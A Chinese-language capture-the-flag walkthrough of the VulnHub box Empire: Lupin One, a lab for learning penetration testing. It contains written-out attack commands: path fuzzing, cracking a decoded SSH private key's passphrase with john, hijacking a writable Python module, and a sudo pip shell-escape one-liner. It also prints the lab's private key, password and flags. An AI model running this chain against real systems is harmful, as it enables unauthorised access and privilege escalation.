基本信息
靶机下载:https://download.vulnhub.com/empire/01-Empire-Lupin-One.zip
攻击机器:192.168.20.128(Windows操作系统)& 192.168.20.138(kali)
提示信息:
- 这个盒子被创建为中等大小,但如果你迷路了可能会很困难。
- CTF 就像盒子。 你必须尽可能多地列举。
靶机:192.168.20.0/24
目标:获取2个flag+root权限
具体流程
信息收集
老样子首先使用arp-scan -l
对主机进行探活,发现主机IP为192.168.20.146

之后对开放的端口进行扫描,执行nmap -O -sV -p- -A 192.168.20.146
,结果如下所示

开放了80
端口和22
端口,我们首先试试80端口能否获取到有价值的信息

先使用dirsearch扫描网站目录,并没有什么有价值的信息,只有一个robots.txt,我们尝试去访问一下

我们查看源码,看到了下面这句话
<!-- Your can do it, keep trying. -->
|
说明我们的思路是对的,这个404并不是真的访问不到,而是他网页故意设计成了404的样式,同时我们要知道在linux中,~ 指代用户主目录,我们可以尝试找到与此相似的路径,使用ffuf
工具对其路径进行测试,我们运行以下语句,然后慢慢等就行了
ffuf -w "C:\Users\Administrator\Desktop\目录字典\directory-list-2.3-small.txt" -u http://192.168.20.146/~FUZZ/ -mc 200 -c -v
|

漏洞初探
我们可以发现存在一个隐藏路径,我们直接访问这个路径,看看这个路径下面是什么东西

这里告诉我们了两个信息:
- 还存在后门文件存放着ssh的私钥
- 用户名为icex64
所以我们还需要去爆破后门文件,我们仍然使用ffuf进行爆破,爆破语句如下所示
ffuf -w "C:\Users\Administrator\Desktop\目录字典\directory-list-2.3-medium.txt" -u http://192.168.20.146/~secret/.FUZZ/ -e .txt .pub .html .bak -mc 200 -c -v
|

我们这里直接访问即可

我们将这一串拿去解密即可,这里使用的是base58加密方式,我们拿base58进行解密,解密结果如下所示
-----BEGIN OPENSSH PRIVATE KEY----- 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 iUJ66WmRUN9EoVlkeCzQJwivI= -----END OPENSSH PRIVATE KEY-----
|
这就是登录系统的私钥,我们想办法去利用一下这个私钥去登录系统,我们可以利用kali自带的ssh2john进行密码的暴力破解,同时,网页提示了我们使用fasttrack密码本,所以我们构造的破解语句如下
ssh2john pass_rsa > password.txt john --wordlist=/usr/share/wordlists/fasttrack.txt password.txt john --show password.txt
|

所以用户的账号密码分别为icex64:P@55w0rd!
登录系统
我们尝试使用账号密码登录系统

zheli就会出现其第一个坑,就是我们得出来的密码并不是系统登录的密码,而是这个私钥的密码,可以理解为隐藏在这个私钥里面的密码,这个密码和登录系统的密码并不是同一个东西,所以会导致我们用xshell连接不上,只能使用私钥进行登录,但是在我的尝试过程中,又会一直出现登不上的过程,我都几乎崩溃快要放弃了,如下图情况所示

后来在一个国外的博客上发现了问题,其实就是Windows上和linux上换行符不一致的原因,导致我们的linux系统不能正确识别这个文件,解决办法如下:
dos2unix key vim --clean key 按esc键后输入wq退出即可 chmod 600 key ssh icex64@192.168.20.146 -i key
|

我们可以发现成功登录,同时获得第一个flag:user.txt

3mp!r3{I_See_That_You_Manage_To_Get_My_Bunny}
|
权限水平移动
我们首先执行sudo -l
查看是否可以进行sudo提权

我们发现这里有一个py脚本,但是是arsene用户的,我们先看一下这个文件执行了什么东西
import webbrowser
print ("Its not yet ready to get in action")
webbrowser.open("https://empirecybersecurity.co.mz")
|
我们查看一下这个文件的权限,如下所示

只有所有者arsene具有写入权限,其余的用户只有可读权限,如果无法写入反弹shell语句的话,我们很难获得arsene用户的权限,这时候我们可以发现其import webbrowser
,我们试着去找一找webbrowser
文件在哪
find / -name "*webbrowser*" 2>/dev/null
|

我们试着看有没有写入权限

所有的用户都具有读写执行权限,所以我们尝试在这个文件做手脚进行反弹shell

我们发现这里import os
,我们可以利用os获得运行权限,如下所示

我们直接运行heist.py
文件,如下所示

权限提升
成功获得权限,我们再执行一下sudo -l
,发现在这个用户下存在root用户的sudo权限

我们可以利用pip进行sudo提权,直接逐步输入以下shell去获取权限
TF=$(mktemp -d) echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py sudo pip install $TF
|

成功获得root权限,并且找到第二个flag

3mp!r3{congratulations_you_manage_to_pwn_the_lupin1_box}
|
本题到此结束
总结
- ssh私钥的利用
- 使用john破解密码
- 利用os进行权限横向移动